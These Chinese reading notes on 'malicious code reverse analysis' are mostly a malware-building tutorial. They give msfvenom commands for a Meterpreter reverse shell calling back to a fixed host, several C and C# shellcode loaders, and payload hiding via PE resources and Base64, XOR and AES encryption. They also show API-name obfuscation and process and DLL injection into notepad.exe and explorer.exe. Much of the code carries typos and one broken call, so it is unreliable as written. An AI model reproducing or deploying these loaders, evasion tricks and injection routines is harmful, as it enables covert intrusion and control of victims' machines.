恶意代码逆向分析基础详解读书笔记

生成执行shellcode

MsfVenom

1
2
msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f c #C语言版
msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f python #Python版

执行PE节中shellcode

scdbg

1
scdbg.exe /f *.* #分析二进制文件*.*调用的WindowsAPI函数

.text节区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE ThreadHandle;
DWORD oldprotect=10;
unsigned char shellcode[]=
"\xFC\x33...."
"...";
unsigned int lengthOfshellcodePayload=sizeof shellcode;
alloc_mem=VirtualAlloc(0,lengthOfshellcodePayload,MEM_COMMIT|MEM_REVERSE,PAGE_READWRITE);
RtlMoveMemory(alloc_mem,shellcode,lengthOfshellcodePayload);
retval=VirtualProtect(alloc_mem,lengthOfshellcodePayload,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

.data节区

将shellcode定义到函数外部即可。

.rsrc节区

msfconsole生成shellcode:

1
2
3
use payload/Windows/messagebox
set EXITFUNC thread
generate -f raw -o msg.bin

新建resources.rc,内容如下:

1
2
#include "resources.h"
M_ICON RCDATA msg.bin

头文件resources.h内容如下:

1
#define MY_ICON 100 //任意值

使用rc.exe生成resources.res:

1
rc resources.rcs

将resources.res转为resources.o:

1
cvtres /MACHINE:x64 /OUT:resources.o resources.res

执行.rsrc节区shellcode的PErsrc.cpp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
HGLOBAL resHandle=NULL;
HRSRC res;
unsigned char* shellcodePayload;
unsigned int lengthOfshellcodePayload;
res=FindResource(NULL,MAKEINTRESOURCE(MY_ICON),RT_RCDATA);
resHandle=LoadResource(NULL,res);
shellcodePayload=(char*)LockResource(resHandle);
lengthOfshellcodePayload=SizeofResource(NULL,res);
alloc_mem=VirtualAlloc(0,lengthOfshellcodePayload,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
RtlMoveMemory(alloc_mem,shellcodePayload,lengthOfshellcodePayload,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

用cl.exe编译链接:

1
cl.exe /nologo /Ox /MT /W0 /GS - /DNDebug /TcPErsrc.cpp /link /OUT:PErsrc.exe /SUBSYSTEM: CONSOLE /MACHINE:x64 resources.o

Base64编码的shellcode

用msf生成二进制shellcode,保存到notepad.bin中。使用certutil对文件内容进行Base64编码。

1
2
certutil -encode notepad.bin notepad.b64
certutil -decode dump.b64 dump.bin #Base64解码

执行Base64编码shellcode的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment(lib,"crypt32.lib")
unsigned char base64_payload[]="...";//notepad.b64文件内容
unsigned int base64_payload_len=sizeof(base64_payload);
int DecodeBase64andCopyToAllocMemory(const BYTE* base64_source,unsigned int sourceLength,char* allocated_mem,unsigned int destinationLength){
DWORD outputLength;
BOOL cryptResult;
outputLength=destinationLength;
cryptResult=CryptStringToBinary((LPCSTR)base64_source,sourceLength,CRYPT_STRING_BASE64,(BYTE*)allocate_mem,&outputLength,NULL,NULL);
if(!cryptResult)
outputLength=0;
return outputLength;
};
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
alloc_mem=VirtualAlloc(0,base64_payload_len,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
DecodeBase64andCopyToAllocMemory((const BYTE*)base64_payload,base64_payload_len,(char*)alloc_mem,base64_payload_len);
retval=VirtualProtect(alloc_mem,base64_payload_len,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadhandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

XOR加密的shellcode

XOR加密程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
ENCRYPTION_KEY="secretxorkey"
def xor(input_data,encryption_key):
encryption_key=str(encryption_key)
l=len(encryption_key)
output_string=""
for i in range(len(input_data)):
current_data_element=input_data[i]
current_key=encryption_key[i%len(encryption_key)]
output_string+=chr(ord(current_data_element)^ord(current_key))
return output_string
def printCiphertext(ciphertext):
print('{0x'+',0x'.join(hex(ord(x))[2:]for x in ciphertext)+');')
try:
plaintext=open(sys.argv[1],"rb").read()
except:
#...
sys.exit()
ciphertext=xor(plaintext,ENCRYPTION_KEY)
printCiphertext(ciphertext)

执行shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void DecryptXOR(char* encrypted_data,size_t data_length,char*key,size_t key_length){
int key_index=0;
for(int i=0;i<data_length;i++){
if(key_index==key_length-1)
key_index=0;
encrypted_data[i]=encrypted_data[i]^key[key_index];
key_index++;
};
return;
};
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
unsigned char payload[]={0x8f,...};//XOR加密后的shellcode
unsigned int payload_length=sizeof(payload);
char encryption_key[]="secretxorkey";
alloc_mem=VirtualAlloc(0,payload_length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
DecryptXOR((char*)payload,payload_length,encryption_key,sizeof(encryption_key));
RtlMoveMemory(alloc_mem,payload,payload_length);
retval=VirtualProtect(alloc_mem,payload_length,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadhandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

AES加密的shellcode

AES加密程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib
ENCRYPTION_KEY=urandom(16)
def pad(s):
return s+(AES.block_size-len(s)%AES.block_size)*chr(AES.block_size-len(s)%AES.block_size)
def AES_encrypt(plaintext,key):
k=hashlib.sha256(key).digest()
iv=16*'\x00'
plaintext=pad(plaintext)
cipher=AES.new(k,AES.MODE_CBC,iv)
return cipher.encrypt(Bytes(plaintext))
try:
plaintext=open(sys.argv[1],"r").read()
except:
#...
sys.exit()
ciphertext=AES_encrypt(plaintext,ENCRYPTION_KEY)
print('AESkey[]={0x'+',0x'.join(hex(ord(x))[2:]for x in ENCRYPTION_KEY)+'};')
print('payload[]={0x'+',0x'.join(hex(ord(x))[2:]for x in ciphertext)+'};')

执行shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment(lib,"crypt32.lib")
#pragma comment(lib,"advapi32")
#include <psapi.h>
int DecryptAES(char* payload,int payload_len,char* key,size_t keylen){
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if(!CryptAcquireContextW(&hProv,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT))
return -1;
if(!CryptCreateHash(hProv,CALG_SHA_256,0,0,&hHash))
return -1;
if(!CryptHashData(hHash,(BYTE*)KEY,(DWORD)keylen,0))
return -1;
if(!CryptDeriveKey(hProv,CALG_AES_256,hHash,0,&hKey))
return -1;
if(!CryptDecrypt(hKey,(HCRYPTHASH)NULL,0,0,payload,&payload_len))
return -1;
CryptReleaseContext(hProv,0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
};
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
char encryption_key[]={0x1,...};//密钥长度16、24、32Bytes
unsigned char payload[]={0xf3,...};//AES加密后的shellcode
unsigned int payload_length=sizeof(payload);
alloc_mem=VirtualAlloc(0,payload_length,MEM_COMMIT|MEM_REVERSE,PAGE_READWRITE);
DecryptAES((char*)payload,payload_length,encryption_key,sizeof(encryption_key));
RtlMoveMemory(alloc_mem,payload,payload_length);
retval=VirtualProtect(alloc_mem,payload_length,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

shellcode runner

  • 法一:见.text节区

  • 法二:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    int main(){
    const char shellcode[]=
    "\xfc..."
    "...";
    ((void(*)())shellcode)();
    return 0;
    };
  • 法三:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <windows.h>
    #include <stdio.h>
    unsigned char shellcode[]="...";//shellcode
    void main(void){
    __asm{
    lea eax,shellcode;//或mov eax,offset shellcode;
    jmp eax;
    };
    };
  • 法四(C#):

    msfconsole生成C#类型shellcode:

    1
    2
    3
    4
    set payload/Windows/exec
    set CMD mspaint.exe
    set EXITFUNC thread
    generate -f csharp

    shellcode执行代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    using System;
    using System.Collection.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    namespace ConsoleApp1{
    class Program{
    [DllImport("Kernel32.dll",SetLastError=true,ExactSpelling=true)]
    static extern IntPtr VirtualAlloc(intPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);
    [Dllimport("Kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId);
    [DllImport("Kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);
    static void Main(string[]args){
    Byte[] shellcode=new Byte[]{0xfc,...};
    int size=shellcode.Length;
    IntPtr addr=CirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);
    Marshal.Copy(shellcode,0,addr,size);
    IntPtr hThread=CreateThread(intPtr.Zero,0,addr,IntPtr.Zero,0,IntPtr.Zero);
    WaitForSingleObject(hThread,0xffffffff);
    }
    }
    }

Win32 API函数名XOR混淆

解决方法:在GetProcAddress处下断点,第二个参数rdx传参,得真函数名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char payload[279]={0xFC,...};//shellcode
unsigned int payload_length=sizeof(payload);
LPVOID (WINAPI* ptrVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
void DecryptXOR(char* entrypted_data,size_t data_length,char* key,size_t key_length){
int key_index=0;
for(int i=0;i<dta_length;i++){
if(key_index==key_length-1)
key_index=0;
encrypted_data[i]=encrypted_data[i]^key[key_index];
key_index++;
};
return;
};
int main(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
char encryption_key[]="123456789ABC";
char strVirtualAlloc[]={0x67,...};
DecryptXOR((char*)strVirtualAlloc,strlen(strVirtualAlloc),enctryption_key,sizeof(encryption_key));
ptrVirtualAlloc=GetProcAddress(GetModuleHandle("Kernel32.dll"),strVirtualAlloc);
alloc_mem=ptrVirtualAlloc(0,payload_length,MEM_COMMIT|MEM_REVERSE,PAGE_READWRITE);
RtlMoveMemory(alloc_mem,payload,payload_length);
retval=VirtualProtect(alloc_mem,payload_length,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,-1);
};
return 0;
};

进程注入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char shellcodePayload[]="";//shellcode
int lengthOfShellcodePayload=sizeof shellcodePayload;
int SearchForProcess(const char* processName){
HANDLE hSnapshotOfProcesses;
PROCESSENTRY32 processStruct;
int pid=0;
hSnapshotOfProcesses=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(INVALID_HANDLE_VALUE==hSnapshotOfProcesses)
return 0;
processStruct.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hSnapshotOfProcesses,&processStruct)){
Closehandle(hSnapshotOfProcesses);
return 0;
};
while(Process32Next(hSnapshotOfProcesses,&processStruct)){
if(lstrcmpiA(processName,processStruct.szExeFile)==0){
pid=processStruct.th32ProcessID;
break;
};
};
CloseHandle(hSnapshotOfProcesses);
return pid;
};
int ShellcodeInject(HANDLE hProcess,unsigned char* shellcodePayload,unsigned int lengthOfShellcodePayload){
LPVOID pRemoteProcAllocMem=NULL;
HANDLE hThread=NULL;
pRemoteProcAllocMem=VirtualAllocEx(hProcess,NULL,lengthOfShellcodePayload,MEM_COMMIT,PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess,pRemoteProcAllocMem,(PVOID)shellcodePayload,(SIZE_T)lengthOfShellcodePayload,(SIZE_T*)NULL);
hThread=CreateRemoteThread(hProcess,NULL,0,pRemoteProcAllocMem,NULL,0,NULL);
if(hThread!=NULL){
WaitForSingleObject(hThread,500);
CloseHandle(hThread);
return 0;
};
return -1;
};
int main(void){
int pid=0;
HANDLE hProcess=NULL;
pid=SearchForProcess("notepad.exe");
if(pid){
hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE,FALSE,(DWORD)pid);
if(hProcess!=NULL){
ShellcodeInject(hProcess,shellcodePayload,lengthOfShellcodePayload);
CloseHandle(hProcess);
};
};
return 0;
};

DLL注入shellcode

DLL编译信息文件mspaintDLL.def:

1
2
3
LIBRARY "mspaintDLL"
EXPORTS
RunShellcode

DLL源代码mspaintDLL.cpp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <window.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char Shellcode[]={0xFC,...};//shellcode
unsigned int lengthOfshellcodePayload=sizeof shellcode;
extern declspec(dllexport)int Go(void);
int RunShellcode(void){
void* alloc_mem;
BOOL retval;
HANDLE threadHandle;
DWORD oldprotect=0;
alloc_mem=VirtualAlloc(0,lengthOfshellcodePayload,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
RtlMoveMemory(alloc_mem,shellcode,lengthOfshellcodePayload);
retval=VirtualProtect(alloc_mem,lengthOfshellcodePayload,PAGE_EXECUTE_READ,&oldprotect);
if(retval!=0){
threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)alloc_mem,0,0,0);
WaitForSingleObject(threadHandle,0);
};
return 0;
};
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD reasonForCall,LPVOID lpReserved){
switch(reasonForCall){
case DLL_PROCESS_ATTACH:
RunShellcode();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
};
return TRUE;
};

用cl.exe编译:

1
cl.exe /O2 /D_USRDLL /D_WINDLL mspaintDLL.cpp mspaintDLL.def /MT /link /DLL /OUT:mspaintDLL.dll

实现DLL注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <window.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
int SearchForProcess(const char* processName){
HANDLE hSnapshotOfProcesses;
PROCESSENTRY32 processStruct;
int pid=0;
hSnapshotOfProcesses=CreateToolhelp32Snapshot(TH32CS_SNAPPORCESS,0);
if(INVALID_HANDLE_VALUE==hSnapshotOfProcesses)
return 0;
processStruct.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hSnapshotOfProcesses,&processStruct)){
CLoseHandle(hSnapshotOfProcesses);
return 0;
};
while(Process32Next(hSnapshotOfProcesses,&processStruct))
if(lstrcmpiA(processName,processStruct.szExeFile)==0){
pid=processStruct.th32ProcessID;
break;
};
CloseHandle(hSnapshotOfProcesses);
return pid;
};
char pathToDLL[256]="";
void GetPathToDLL(){
GetCurrentDiretory(256,pathToDLL);
strcat(pathToDlL,"\\mspaintDLL.dll");
return;
};
int main(int argc,char* argv[]){
GetPathToDLL();
HANDLE hProcess;
PVOID pRemoteProcAllocMem;
PTHREAD_START_ROUTINE pLoadLibrary=NULL;
char processToInject[]="explorer.exe";
int pid=0;
pid=SearchForProcess(processToInject);
if(pid==0)
return -1;
pLoadLibrary=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA");
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,(DWORD)(pid));
if(hProcess!=NULL){
pRemoteProcAllocMem=VirtualAllocEx(hProcess,NULL,sizeof(pathToDLL),MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemoteProcAllocMem,(LPVOID)pathToDLL,sizeof(pathToDLL),NULL);
CreateRemoteThread(hProcess,NULL,0,pLoadLibrary,pRemoteProcAllocMem,0,NULL);
CloseHandle(hProcess);
}
else
return -2;
return 0;
};